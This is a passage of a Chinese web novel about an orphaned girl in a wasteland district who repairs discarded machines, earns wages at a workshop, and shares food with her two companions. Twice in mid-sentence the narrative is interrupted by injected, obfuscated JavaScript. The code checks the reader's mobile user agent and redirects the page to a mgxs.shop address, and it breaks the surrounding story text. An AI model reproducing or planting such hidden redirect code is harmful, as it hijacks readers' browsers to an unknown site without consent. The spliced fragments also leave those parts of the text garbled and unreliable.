赤琴认出了这是“游戏”,表情变得有些冷硬,但她也是好奇的。 所以任由两人点进了其中一个标题: 【N区T街R号!天然↑无知↓双♂性大小姐!不口口就会变回沃尔玛塑料袋♀!】 看不懂的标题。 总之先点进去试试。 三人就感觉眼前骤然一片漆黑,再接着闻到了淡淡的焦味。 “什么状况?!” 再恢复光明时,他们看见插/入硬盘的读取器冒出了黑色的烟,已经燃烧起来。 还好他们用的都是江免制作的这个备份。 三人扑灭了火,温三铭在遗憾,江免在对着机械残骸纳闷,赤琴在思考。 “究竟是怎么回事,为什么燃了?” 江免对着接口处看了半天。 “我听说过这种情况。” 赤琴很是冷静地答道:“有的芯片或硬盘会携带上‘病毒’,一不注意就会损坏内存装置,甚至会像这样烧掉整个读取器。” 另外两人哀叹:“难怪它会被丢掉,我们以后看来要小心一点了……” 温三铭甚是惋惜:“你好不容易做出来的读取器就这样被烧掉了。它……” “没关系。” 江免却表现得甚是平静:“我能做出第一个,就能做出第二、第三个,只是找材料会麻烦一些。” 江免看向了另外两人,带着自信: “再给我一段时间,我能给你们一人做出一个读取器。” 温三铭露出感激的笑容,赤琴亦是弯了眉眼。 一直在江免这儿逗留到很晚,另外两人才各自回到了他们的居处。 一天就这样过去了。 接下来的两天,他们工作结束之余,每天夜晚碰面的时候,除了一如既往的寻找食物、物资,也多出了帮助江免寻找材料、寻找芯片的任务。 而干粮店的老板,是在第三天寻上江免的。 托了赤琴传达,他们三人来到干粮店里。这还是江免和温三铭第一次进入店中。 干粮店的老板倒是与赤琴相熟的样子。江免与温三铭站在赤琴身后,他们还是第一次见到如此干净整洁的地方。 在D区这个垃圾场,“干净整洁”宛如天方夜谭。 彼时温三铭与江免的词汇量还不多,这些天他们都在努力学习文字。他们刚记下的一个成语——金碧辉煌——这家店完美契合了他们对这个词语的想象。 能来到干粮店中,就已经是他们现在见过的最大的世面了。 老板二话不说招呼他们坐下,给三人一人端来一碗粮食,里面甚至放了一片冷冻肉干。 虽然肉味很淡,但它竟然是真的肉! 它是真的肉!! 江免和温三铭两人一下子吃红了眼,端起碗就干。比起吃更像是在喝,一口气喝完了一整碗,两人齐齐把碗拍在了桌上。 相较起来赤琴就文雅了许多。她也不急着吃,而是先帮老板说完了请他们前来的原因: “江免,因为你帮老板修好了读取器……” 江免还沉浸在美食的回味中,先“嗯?”了一声,才反应过来,在老板面前坐端正了。 “读取器昂贵,我买来的时候是二手,就想把它放在店里当个门面。没想到偶尔用几次它就坏了。” “它坏掉之后,我既舍不得扔,也没有多余的钱去修,就那样放着。没想到将它借给你们,还能有些意想不到的收获。” 老板笑容满面,向着江免问道: “就是你修好了这个读取器?你还会修其它机械不?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17489941|202182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 江免回答: “是我。我会制作小型器具,也会修理部分机械。我无法保证我能够修好所有的机器,如果你有任何想要委托我进行修理的东西,我需要触摸过实物之后才能判断。” 老板也不知道是满意还是不满意,稍稍放远了目光,先是感慨: “原来我们D区还出了一个会机械修理的小孩儿啊……” 赤琴见这里没有需要她讲话的地方了,便安心吃起饭食来。 老板在他们面前坐下,这句话说得有些无头无尾的: “D区很大。” 但温三铭与江免,还有已是吃完食物的赤琴皆是点头。 “我们被称为‘达利特’,被放逐出了人类的主要生活区,居住在这片废土之上。从事的是清理秽物、抛弃垃圾、处理尸体……这些最为低贱的活动。” “但在这个星球上,人类的居住区域很小,废土区域却很大。相当于这么大的废土荒原,都是属于我们的地盘。” 然而知识被垄断、技术被垄断、资源被垄断,甚至于货币都不流通。D区的“达利特”就这样生活了一代又一代。 老板没有将这句话说出来。 他只是对江免说道: “在A区,生活于金字塔顶端的贵人们享受着机械生活的便利。在他们的世界,科技无所不能。然而他们不知道,这世上还有着仅是人类才能够做到事。” 三人一齐看向老板,老板将那份古旧的处理器握于手中: “是修理。” 三人脸上似带着惊讶,又似带着不以为然。 老板摇头说道: “研发科技的人不一定擅长制造,而制造的人又不一定擅长修理。更重要的是,在这个世界,掌控了‘技术’的人,一定是社会中的上层人士。” “他们的观念是:东西坏了为什么要修理?再买一个新的就好了。” “富人不需要修理的技术,” 老板苦笑道:“只有我们这些下层才需要。” 江免无言,温三铭似陷入某种沉思。 “有为数不少的崭新机械,仅用了2、3次,便因为细微的瑕疵被废弃。” “这些机械通过B区、C区,还能用的便留在那里;根本找不到故障原因,完全无法使用的便来到了这里。你们一般无法见到它们,因为它们在入口处便已经被回收了。” D区很大,正如老板先前说的那句话一样。 在D区内部,又被划分出了不同的编号区域。编号越靠前,越接近D区的入口处,一手垃圾都是从这里进来,捡垃圾的竞争压力也就越大; 编号越靠后,就越是没人要的垃圾、秽物,以及可怖的尸体。生活在那里的人是麻木的,每天重复着将垃圾扔进那个巨大的黑洞中。 三人去过那里,还没真正进入就被令人作呕的秽气熏出来了。那里实在是太可怕了,但据说在那边工作能有人保障他们最基础的食物。 在那里工作的往往是去无可去的病患、残障者。 “我们需要人进行机械修理。如果能够将其修好,便能从D区再转手到C区,品相更好的甚至能卖到B区,收获一大笔利润。” 老板看着江免,说: “既然你会修理的话,要不要去D-1区试试看呢?” “如果你真的有修好‘所有’机械的能力的话,我想,你、甚至你们,都再也不用担心饿肚子了。” 5. 005 江免当天就去了D-1区,赤琴与温三铭则各自回到了工作。 当天晚上的时候江免没出现在他们约好的地点,温三铭则继续在垃圾堆中翻找了一下芯片,赤琴与他一同回到了他的家中。 在这三人中,温三铭的家是最有“家”的样子的。 它有破烂但是能够支起房梁的墙壁,有能够遮挡大半风雨的塑料屋顶,还有像模像样的一张床。 老人躺在床上,迟缓地问: “是谁回来啦?” “是我回来啦,奶奶!” “我也回来啦,奶奶!” 两人一前一后地回答。 —— 江免并非没有来过D-1区。然而上次来到这里,哪怕四周无人,也给她一种群狼环伺的阴森感。 她按照干粮店老板指明的方向,说出被告知的暗语,江免进入了一家废弃工场中。 打开工场大门时,从中传来的并非随处可见的垃圾臭味。 而是另一种弥漫在整个工场中的,江免既熟悉又喜欢的机油气味。 她有些隐秘地欢喜起来。 然而刚踏入工场,身后的铁门缓缓闭合,连同明亮的自然光一同阻隔了。工场内只留下时不时闪烁一下的昏黄的灯。 江免看向头顶的老式灯泡,这是上个世纪的产物了,也难怪它的功率如此低下。 得修。 江免想。 还有在工场中咯吱咯吱卡壳的古早履带,还有恪尽职守仍在运行的残破机器人。 江免一眼扫过去,好像看见了数之不尽的宝藏,她几乎快要露出笑容来。 这刚刚酝酿起的笑意却被面前阻拦了她视线的彪形大汉遏止了。 男人超过2米的个子,虎背熊腰,筋肉虬结。他的右臂明显经过改造,藏有内置骨骼。能够看见沙包大的拳头上有异样的金属凸起,这一拳下去估计不死也得殘。 “我是这里的管事。不多说废话,我们可以让你试试。” 男人指了一个方位:“看见那边的废铁堆了吗?它们就是你今天的工作。” “好。” 江免已是绕开大块头,迈步向那个角落。 男人在江免的身后,又好似很善意地说道: “但是,如果你修坏了该怎么办?” 江免没明白他的意思,回头问: “我应该怎么办吗?” 男人就觉得这个小孩儿很好吓唬,嘴角一勾,都准备提出各种补偿条件了。却听江免接着说道: “可它们不就是坏了才流落到D区垃圾场的吗?它们本来就是坏的。” 男人怒目圆睁,这话还真没法反驳,只是回头去瞪江免。 江免觉得自己真不像小伙伴担忧的那般木讷,她至少能够看清对方的意图。 见到男人不知不觉间握紧的双拳,江免“哦”了一声,正面转向大汉,问: “你是想打架吗?那也行。” 她摆好了架势:“来吧。” 男人感觉这一口气憋得不上不下的。 新人来到D区最紧要的工场中,总该给一点下马威。 然而面前的臭小鬼和豆芽菜似的,却是好大一个愣头青。他想给的是下马威,而不是开门红。对方万一真是个技术性人才,出现点意外可是得不偿失。 所以男人接下来的威胁,又显得有些有气无力了: “我是说,该叫你负责!你要是把它修坏了,就该拿你的工资给我们作为赔偿!” “也行。” 江免却是意外的好说话。 倒不是因为她有着如何的自信,而是因为以她的工资,就算打满一天的工也只够她购买1.5餐,聊胜于无。她基本是靠着捡到的过期食品、以及与小伙伴们分享的资源活下来的。 那么一点微小的工资不值一提,但修理这么多从未见过的机器,对她而言可就真的如同奖励了。 “现在开始吗?” 江免姑且还是很礼貌地问了一句。 但也不等他们回答,她已是径自走向机器,拿出她的特制妙妙工具,眼中专注得只剩下了这些被废弃的钢铁残骸。 分明是初次接触,江免却听见了它们的呼吸声。 机器们有大有小,最小的还不够她的掌心大。而最大的,需要她登上梯子,却仍需要仰头以待。 江免一直是喜欢如机甲那般的大型机械的。机器越大,仿佛代表了它的能力越多、力量越强,好似也能飞得更高,走得更远。 然而这么多初见的机械前,哪怕是最小的那块机械,它亦是由细密而复杂的零件构成。 江免听见它身上不同的部位在发出不同的声音,如集市一般吵闹。 「我卡住了。」 「下面的家伙好吵。」 「我要支撑……」 「嘻嘻,我真完美。嘻嘻。」 …… 繁杂的声响中,江免找到机械的一角,缺失了部件的孔洞在以微弱的声音说,「痛。」 江免的手指轻轻拂过它带着铁锈的表层,问: “我应该怎么做呢?” 「总与我在一块的是螺丝钉。我现在没了伙伴,我很寂寞。」 「我想要我的朋友。」 …… 「我想要变得干净。」 「我的右边在痛。」 江免的世界是嘈杂的。 她喜欢安静,却与这份嘈杂相处得格外愉快。 她修好了一份又一份的机械。 巨型的机械们发出了孩童般的声音。它们有的无法表达清楚自己的状况,江免需要一处一处地试探,才能找到问题的核心。 而时常响起在她脑中的另一位声音常客,恰好也是在此事出了声: 「莫非,这就是人类所说的‘宁静’?」 在一边机器的叫嚷之中,那道声音带着格格不入的平静: 「或许我应该习惯这样的生活。」 江免心中想道,「是啊。」 「我也应该适应这样的生活。」 江免她轻轻戳翻了最后一个圆形的检测仪,检测仪就像不倒翁一般在地上翻滚了一圈。 “你现在感觉好了吗?” 「开心。」 「我好了!」 哪怕修好了所有的仪器,由万千部件组成的大型集市依然没能恢复宁静,反而变得更加喧嚣了。 江免听着它们大分贝的欢庆,几乎想要捂住耳朵,却也不禁露出了淡淡的笑。 …… 她竟真的完美地修好了堆放在这里的所有仪器。 工场里的众人从头至尾地盯完了江免举动。 眼见着她一番调试,时而拿起她的神秘工具,时而举起零件细密研究。 他们为江免准备的都是坏成废铁的垃圾,但到了江免手中,快的不过十分钟,慢的也就一两个小时,所有机械竟然又焕发了新春。 仅仅是这样还不够。 他们见着几个仪器开始运转,都准备惊叹了。江免却觉得没完似的,又拿起钢丝刷、砂纸,仔仔细细地为它们打磨了一遍。 也不知道她是如何得知工场内的器物摆放的。就见她像是去自家后/庭院一般,从里间货架上拿出了机械润滑油、草酸,还有煤油。 比修理的时间更长,江免将这些老得不能用的东西除了锈、上了油。她又从另一处寻来了喷漆,似还想给这些仪器保养一番。 所有人看着她在这间工场里来去自如,没一个人说话。 就连那位领头的彪形大汉也不吱声了。 江免手下满身岁月痕迹的仪器连半分噪音都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17489942|202182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没发出,运转如新。 工场里只剩下了其它仪器发出的环境噪音。 这位……可能是个真人才。 人们看着江免以怀抱婴儿的姿势,将机器揽于怀中。 她低下头,对机器露出了宛如圣母一般的慈爱的笑。 他们想起江免初来工场时对他们的死人脸。 再对比了一下她对机器表露出的慈爱。 7岁的小孩儿,对机器,慈爱。 他们又觉得…… 可能天才,总归是伴随着点儿怪癖的吧。 —— “江小兔呢?” 她是温三铭的奶奶。是奶奶捡到了江免与赤琴。 两人踏进屋中,温三铭扶着奶奶吃完了营养液,奶奶浑浊的眼睛才看清了他与赤琴: “今天江小兔没来吗?” 奶奶有些老了,下不来床,也记不清事儿,时常会喊错人的名字。 这样的老人在D区一般活不下去。但她以前养活了三个孩子,现在有三个孩子来养她。 “江免寻得了一个好去处哩。” 温三铭甚是高兴地答。 “是吗。” 奶奶好似安了心,又躺回床上,像是睡去了。 温三铭悄悄将带锁的盒子从床底下摸出来。 为了避免惊醒老人,两人压低了声音: “虽然说是有着丰厚的报酬,但D-1区的人不好招惹,不知道江免应不应付得来?” “比起工资,我更担忧她一去了那里,直接把人都给得罪光了。” 温三铭叹了口气,打开了带锁的盒子。 里面有江免做的发条小老鼠、变声器、留声机,有赤琴送出的信笺、贝壳,与已经枯萎的花。 如今,里面又多出了各式各样的芯片,还有江免为他们做出的第一份读取器。 这是他们的珍藏。 “我们应该去D-1区找她吗?” 温三铭担忧地问。 “先等等吧。” 赤琴回答:“江免是我们之中最强壮的了。如果出了什么意外连江免都扛不住,我们两人去了也只是送死而已。” 温三铭懂了:“得智取。” 他已经陷入了思考模式。 温三铭虽然几乎不会打架,平时也是很好说话的模样。但能够在D区这地方守着一个老人和一个家,他也不是任由人欺负的性格。 曾有人从这个家中偷走了这个带锁的铁盒。第二天,那人喝水时咽下了带锈的图钉,好一番折腾才治好他的喉咙。 之后也发生过几起类似的事件。有的是吃到图钉,有的是吃到变异的昆虫腿儿。还有的显得像是厄运,路过的时候有东西刚好断裂,重物从天而降;有的是一时不察,刚好踩中了改装过后的强力捕鼠夹。 没人知道温三铭是什么时候做的,是怎么做的。但无疑,招惹了他,肯定会遭受到某种阴森的报复。 反正这个家中确实穷破,没有什么值得偷窃的东西。而且这三小只的关系牢固,招惹了任意一人,也会触发另外两人的敌意。 久而久之,这三人在D区的生活倒也算得上是稳固,没人想闲着没事招惹他们。 但D-1区,常年位于食物链顶端的那群人可能不这样想…… 温三铭还在思考着呢,眼神都变得阴暗了下去。赤琴一句话打断了他: “也有可能并非是遭到意外,而是她自己沉迷于机械修理中了呢?” “啊。” 一语惊醒梦中人。 赤琴轻快说道: “我们再等一天。如果她不回来,我们再去工场找她吧。” 温三铭点下了头。 商量完正事,他们再从铁盒中拿出了读取器。一人寻找着资料,一人开始了识字学习。 6. 006 这个工场里的人甚好。 虽然他们初见的时候还虎声虎气的,表现得很不好招惹的模样。 但是见她沉迷修理,甚至连饭也忘了吃,竟有一人专门将营养液递到了她的旁边。江免当时整个人都震惊了。 而且,这营养液竟然不是劣质的过期货,是正儿八经的、在D区卖得还有些贵的上等食品。 那个人将营养液递给她,好不容易挤出一个和善的笑。在江免看来,对方显得有些拘谨地问: “那你修好的这些东西,我们就拿去检验了?” 江免拿过营养液,应了一声“好”,心想这里还包三餐的吗,他们真是好人。 既然他们是好人,江免也没客气,再伸出手: “我还没吃饱,你们还有饭吗?我还要再吃两份。” 好人也真的很好说话,竟不讨价还价,又给她拿来两支营养液。 江免喜滋滋地将其塞进胸前口袋里。 好人哥就这样瞪眼看她连吃带拿,却没多说。 工场里的另外几人凑一块,拿着机械研究了一会儿,又聚一起嘀咕了好一阵。眼见着江免全自动化地去寻找其他损坏物品了,其中一人站了出来,还是将几张钱币递给了她。 “这是你今天的工资。” 江免更是惊骇地去看这几张票子,这是她以往4、5天份的工资了。 那人说道: “这是你今天试用期的工资。” 他显得不太好意思似的,低声地补充:“以后的工资还会涨的。就看你能修多少机械了。” 江免仍是有些不敢置信地,又怕到手的票子是假的,总之先拿走了钱,也不点检,直接塞进了衣服口袋。 “明天你可以早点来。” 那人的言外之意是,“你现在已经可以回去了”。 结果江免没动,拿完钱之后继续去找坏掉的零件,高高兴兴去修。 一群人就这样看着她大展身手。终于修完了所有坏掉的东西,甚至还把它们抛光了,江免已是修无可修。其余人想着那她该走了吧,却见江免找了零件堆来,鼓捣了一阵竟拼凑出一个小型机械肢来。 眼见着她真是半点没有离开的打算,终于有人提醒:“你不困吗?外面已经天黑了。” 江免一愣,也就愣了愣,继续鼓捣手里的东西,一边回答:“我睡4、5个小时就够了。” 于是,他们又等。一直等到到半夜两点,又一人问:“你还不走?” 江免这才回过味来:“你们盼我走?为什么不直说?” 她站起身,很实诚地向外走去:“那我走了,明天再来。谢谢你们为我准备仪器,我明天也会努力工作的。” 一群大人就这样看着小孩儿高高兴兴走了。 —— 在江免离开后的当天夜里,工场里的几人带着修好的机器立刻去了隔离区。 A区与B、C区接邻,繁华且广阔。但更为广阔的,是被人们抛弃的区域。 除了A、B、C三个区域以外,这个星球上剩下的所有区域都是荒废区,都可以被称为D区。被当作弃民的“达利特”们只能在D区生活。 D区广袤,包围了A、B、C三区。为了防止被D区的秽气污染,这三个区域的周围都设有范围很大的一片隔离带,隔离带中设置了密密麻麻的重火力器械。 因为工场与C区废品窗口常有交易往来,这边倒是设立了一个快捷通道。当然,这个快捷通道上依旧布满了监视器与自动击发的枪。 C区边沿的工人此刻仍在工作。 D区的几人带着器械而来,吆喝了几声。正在港口搬运货物的C区劳工闻声而来,一边擦着汗,却仍不免轻蔑地剐了这些D区的达利特一眼。 D-1区的人能在D区凭借拳头耀武扬威,却是在身后隔离区的重装武器的威胁下将尊卑观念刻进了骨子里。他们对C区的劳工们露出一个谄媚的笑: “这是我们刚修好的机器,您看看还能不能用?或是能卖多少钱?” 劳工们本还带着不屑,因为以往D区人带过来的据闻是“修好了”的机械也不过如此,多的是东拼西凑最后无法使用的例子。 然而这一次,出乎意料的,他们带来的东西竟像是全新出厂,再不济也是9.9成新,装盒再贩绝对能骗过不少人的眼睛。 D区几人仍是搓着手站在他们面前,满脸堆笑。 C区的劳工们更觉得稀奇了。 他们抱着怀疑,接着打开了这些机器的按钮,检查它是否能够工作。 在这其中,最古董的是一个扫地机器人,一排按钮就在头顶,加以文字标示,很轻易就能找到启动键。 劳工按下按钮,就见着扫地机器人如同蟑螂一般飞速地在地上爬动起来,并把垃圾全吃进了肚子里。 眼见着它越跑越远,就要向着无尽的自由奔去了。劳工喊了一声:“回来!”,扫地机器人“哔哔”两声,又迅速地爬回了原位,在劳工手下待机了。 D区几人在心里暗叫着科技惊奇。 他们倒不是不想试验,但既不认识文字更找不到按钮,还怕瞎鼓捣把这东西倒腾坏了。在验收之前,他们没人敢胡乱碰触修好的机械。 劳工又转向另外的机器开始检查。 再新一些的机器转为了新能源,无需充电更无需插线,而它们的设计也偏向于平滑的一个整体,物体上没有任何启动或关机的按键标示。 一名劳工手中拿着的是声控侦察机,不到手心的大小。没有见识的D区人就听见那位劳工叽里咕噜说了一串密匙,那小小的方块竟腾升至天空,再而降落,如此按照命令反复了三次。 另一名劳工则是在检查VR投影仪。 同样不知道它是如何开启的,突然他们面前就出现一道荧幕。劳工挺乐呵:“哟,现在正在放机甲联赛呢。” “哪队对哪队?” 另外一些劳工凑了过来。D区工场里的几人也悄悄往投影前挪。 投影中播放的是红蓝两队机甲与坐在机甲中正在准备的选手名单。 “圣都卡洛弥亚学院对勒维耶学院。可以在这头下注呢,要不要投点?” 劳工对同伴说。 “一流学院对上三流,这比赛结果不是一眼望到底了?圣都卡洛弥亚学院赔率1.01,投100赚1块,笑死,所有人都觉得卡洛弥亚稳赢。” 另外几人都是摆手说道:“这比赛没什么好看的,换个频道。” D区的几人继续悄悄去看屏幕。 一切台,投影画面一变,变成了一个满是肃穆的老头儿。 见到是他,不仅是C区的所有劳工,D区的几人也立刻庄重起来,所有人对着投影行了同一个礼。 “是婆罗门大人。” 夜间的劳工全都聚集到了投影前。他们身临其境,仿佛老人就站在他们面前。所有人向着老人行礼,低头不敢直视。 老人站在光晕之下,宛如神明派到人间的使者。他正在宣读着讲义: “我爱世人。不仅是刹帝利,同样包括吠舍、首陀罗。就算是弃民达利特,姑且也有资格聆听我的话语。……” 无人敢切换频道。一直到老者将他的讲义宣读完毕,离了场,投影前诸人肃穆的氛围才缓缓松弛,劳工直接关掉了投影仪,才松了口气。 验完货,终是到了交易环节。 “以物换物,诚信交易。我想你这次带来的商品,应该值这么多。” C区的人遵循了他们交易的惯例,慢慢悠悠地说道。 D区有自己的货币,是软薄的塑料片儿。 其它区域与D区的货币不流通,A、B、C区已经统一是虚拟货币了。 但D区的人选择以物易物,并不只是货币不同的问题。更是因为D区公 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然后才反应过来,能在半夜闯他家门把他弄醒的,约摸着也只有江免了。 温三铭清醒得很快,带她走了一段距离,远离了睡着的奶奶,却还下意识压低了音量: “你的新工作怎么样?” “很顺利。” 江免都快要笑出来了:“他们还给我了很多的工资,他们都是好人。” 这反而让温三铭更加担忧话语后面的隐藏信息了。 毕竟也是从小一起长大的青梅竹马了。 江免这人,脸盲严重。别说那些她不上心的路人了,就连他和赤琴,江免也是用了一个多月才确认了他们的长相。 也还好他们条件不好,没有多少件衣服。起初江免见了他们,第一时间都是去看衣服,再去看脸。这两人虽然从未提及过江免脸盲相关的事情,但对于她认人困难这件事都是心知肚明。 最开始那阵子,见着江免的视线从下往上,在他们脸上驻留一阵,再而露出恍然大悟的神情,赤琴与温三铭都会默默对视一眼,带着心照不宣的无奈。 江免不擅长认脸,也不习惯看脸,辨认人的脸色就更是难如登天了。 但“不看人脸色”是只有上位者才有的特权。对于他们仨这种挣扎在底线的小虾米,缺乏了这样的求生技能,江免就总显得格外莽撞。遭至对方怒火的时候,她往往还不知道原因,都是他与赤琴上前周旋。 根据以往的经验,温三铭很担忧江免是否在无意中又得罪了什么人。却见江免欢喜地拿出了两份完好的营养液,还有好几张票子塞到他手里。温三铭吓了一跳。 江免仍是高兴的神情:“那里竟然包饭食,工资还多!可惜现在太晚,店铺没有开门,不然我肯定买三份肉干和你们一起尝尝鲜!” “哎。” 温三铭把东西全都塞了回去,反而是皱起眉,极其不赞同的模样:“有钱你应该先攒着,为未来做打算。万一之后出现什么意外呢?” “出现意外了又能怎么办?” 江免坦坦荡荡地答:“就算攒了钱,我们买不起药,进不了医院。这样的日子能活一天是一天,那当然是先痛快完再说嘛。” 温三铭竟无以应答。 江免笑容满面地说:“那我明天买肉来,和奶奶、赤琴,还有你一起煮肉汤喝!” 温三铭想说点什么,又感觉没什么好劝的,显得有些犹豫地点了点头。接着他又听江免补充: “不过厂里有好多机器,我都可以摸!哎,说不定明天我又沉迷过了头,不知道还记不记得回来呢。” 温三铭反而笑了出来: “那我们明天就在这儿等着你的肉汤了,你可千万要记得回来。” 江免非常郑重地点了点头。 7. 007 却没想到,第二天江免再来工场,迎接她的是哐哐一大摞肉罐头。 江免逆着光没看清那摞东西是什么,还以为是新型的下马威,却在发现它的身份后,立刻瞪圆了眼睛。 尽管昨天他也露出了同样的表情,但现在站在江免面前,工场老大显示出一种“你很没见识”的笑容来。 “这是?” 在尊敬的肉罐头大人面前,江免反而显得有些拘谨。 “你的工资,之一。”老大说道。 江免很是警戒地确认了一下: “你想用这些东西让我签下卖身契?” “不是。” “这是之后一辈子的工资?” “不是,只算今天份的,明天还有别的。” 江免二话不说,抱起那摞肉罐头就跑! 结果跑了一阵,身后竟没人追来。 虽然觉得奇怪,但既然跑都跑了,江免干脆直接跑到温三铭家。奶奶这时醒着,见江免风一样地跑进来,招呼一声:“你回来啦。” “我回来一下!” 江免匆匆说完,从床下拖出带锁箱子,把肉罐头全都放了进去,重新落了锁。又觉得不放心,手动在地上刨了个坑,箱子埋进去,把土踢平了,这才松上一口气。 她对奶奶说:“我先回去工作了。待会温三铭和赤琴回来,你记得和他们说这里有吃的。” “好。”奶奶笑着应道,“不在家休息一会儿?” “不了不了!” 江免已是又跑了回去。 她警戒地再到工场门口探了半天,似乎没发现什么陷阱。再走进工场中,头儿脸上不见生气,只是似笑非笑地看着她手上的泥土污:“罐头都吃完了?” “吃完了。” 江免胡乱回答:“我可以开始今天的工作了。” “还没完呢。” 工场老大走到她面前,脸上仍是似笑非笑的。江免全身的肌肉都紧绷起来,随时准备逃跑。却见老大一抬手,身后两人将一整箱纯净水,还有一整箱营养液放到她面前,箱子叠起来比她整个人还高上不少。 江免倒吸一口凉气! 她声音带颤,再去问老大:“……我的买命钱?” “不。” 老大说:“你只要像昨天一样修理机械就够了,待会还有额外的工资。” 江免像听不懂人话了:“你们打算把我偷偷卖给人体器官贩子?” “不。” 老大说:“是你还没搞懂你的能力有多珍贵。” 江免:“你是指我能够听见幻听的精神分裂的能力吗?” “啊?” 江免也没再向他解释,摇摇晃晃走向工场里头堆放的机械。然后恍惚地坐下了,恍惚地开始修理了,让其他人很怀疑她今天还能不能修好东西。 结果倒是一如昨日。 晚间,江免还真再拿了一份工资,恍惚地离开了。其余人再把她修好的东西拿去C区走了一趟,也恍惚地离开了。 —— 温三铭和赤琴翻出埋着的箱子,再看见里面金光闪闪仿佛带上圣光滤镜一般的肉罐头,两人都感觉自己看见了幻觉。 就连赤琴都有些难以置信,拿起一个罐头看了又看,反复地问温三铭: “她从哪儿拿来的?不会是打劫了那家工场吧?就凭她一人,能行吗?” 温三铭连连地说:“我不知道啊,我不知道啊!” 他看着这么多的肉罐头,感觉自己做梦都梦不见如此奢华的场景。甚至那罐头还干净着,没有锈迹,没有血污,就连生产日期也与今日相隔不久,这罐头竟是极其新鲜的。 两人惶恐而又有些呆滞地等到了江免回来。 一见到江免,两人都在问:“你没事吧?” 江免愣了愣,老实回答:“我没事啊。” 再看两人面前摆着的没敢吃的几个罐头,江免也有了兴奋,和他们说过了这两天的经历,最后总结陈词: “现在我也有足够的资源了!你们即使什么都不做,我也可以养活你们了!” 两人犹自不信:“天底下哪有这么好的事?你确定他们真的愿意长久地支付你这样丰厚的工资,而不是想要诈骗你去干什么更加凶恶的事情?” 江免也有一些怀疑,就显得有了一些犹豫。 按照以往他们的劳动工资,工作18个小时能够获得1.5张钱。按照D区的物价,基础的营养液卖1张钱。他们一般只工作12小时,拿到一张钱去换一顿饭。另一顿饭则是通过翻找垃圾,勉勉强强填饱肚子。 如此对比下来,仅仅是在工场里工作了两天,获得了6份肉罐头、一箱水、一箱营养液、十几张钱,这笔横财来得太轻易,叫人怀疑是诈骗了。 可这到手的物资却是真的。 真让她因为一点疑心不干了,江免舍不得。 江免又说:“如果我能再多获得一点物资,你们也能活得轻松一些了。” 赤琴嘻嘻笑道:“那我可真是傍到了一位富大款。以后吃肉喝酒的日子就全靠你啦。” 江免严肃承诺:“好。” 温三铭欲言又止。很想提醒江免赤琴是在开玩笑,但看那两人一唱一和的似乎都很开心,又觉得再提醒一声实属多余。 赤琴恢复认真的表情,再对江免说:“有什么不对就赶紧跑。” “这些物资你们节省着吃吧,以防万一。” 温三铭征询问道:“不过今天毕竟特殊,我们开一个肉罐头煮成肉汤来庆祝?” 江免问:“庆祝我找到了好工作?” 温三铭缓缓摇头: “也有那个原因,不过主要是为了庆祝你的生日。今天是你的生日,你忘啦?” 江免震惊:“今天是我的生日吗?” 温三铭瞪过去:“你不是说了把奶奶捡到你的那天作为生日吗?真忘了?” 江免恍然大悟,高高兴兴又道:“那我们奢侈一点,开4个罐头,一人一个怎么样?” 温三铭又瞪了过去:“说好的节俭呢?” …… 结果到最后,他们还是奢侈地用了两个罐头、半瓶纯净水、三瓶营养液煮成了一锅浓浓的肉汤。 以空罐头作为容器,捧着有生以来第一次吃到的浓厚肉汤。 袅袅雾气裹挟着鲜美的肉香味腾升至夜空。隔着氤氲看向黑夜中的星星点点,江免对着月亮感叹,她吃到了人生中最美味的一餐。 想了想,这倒是她第一次主动向脑内的声音说话: 「今天是我的生日。我今年8岁,大概。」 「我和家人一起,吃到了非常美味的肉汤。希望今后的每一日,也能和他们一起,吃到同样美味的肉汤。」 —— 工作第三天,江免一来工场,又是几箱丰厚的物资搬到了她的面前。 尽管昨天已经有了一回,可这第二回依然把她吓到了。她只是没再将物资疯狂运输回家而已。 江免还想说点什么,工场老大先开了口: “这些机械,我们负责运输进口和出口贩卖,首尾都由我们负责;你只需要坐在工场里,负责完成中间的修理过程就够了。我们出工又出力,所以最后这报酬,我们与你五五分成如何?” 江免点头点得干脆:“好。” 反而是等她讨价还价的肌肉大汉一噎,在原地踱了几步,再转向江免:“那就这样,五五分成?” 江免指着面前的物资问:“这也是五五分成的内容吗?五五分下来,我能获得多少?” “不,这不是。前两天只算是试用期,因为我们还不确定你的能耐,所以只给了你一部分报酬。” 男人领着江免去了工场后方,输入密匙,按下指纹,地面竟开了个口,是个地下仓库。 “这是我们的资源仓库。仓库里有一个洗澡间,有免费的工作服。” 男人对她说:“既然是五五分成,那么从明天开始,这个仓库可以划分给你一半。洗澡间每天最多只能使用一次,工作服拿一套合适你的吧。” 其实仓库里的东西不多,而且主要是食物资源。但在这里,洗澡间的吸引力竟然比那些资源还大。 在江免来之前,仓库已经收拾好了,所有东西堆叠在仓库的一侧。江免细致地看完了仓库的每一处。 男人用喷漆在仓库地面画了一条中界线,一头是仓库里本来就有的物资,另一头已经堆放了几个箱子,这是江免今天的工资。 他对江免说:“这一头,以后就用来堆放你的物资。你如果需要,随时可以来取。我可以把仓库的密码与钥匙告诉你。” 他取下一把钥匙交给江免,江免显得有些受宠若惊了: “我感觉我用不上这么大的仓库。我把物资放进家里应该就够了……” 男人从鼻腔里发出一声笑:“我还觉得,这仓库不一定够用呢。说不定无需多久,你赚到的东西就能把这间仓库填满了。” “填满……?” “ 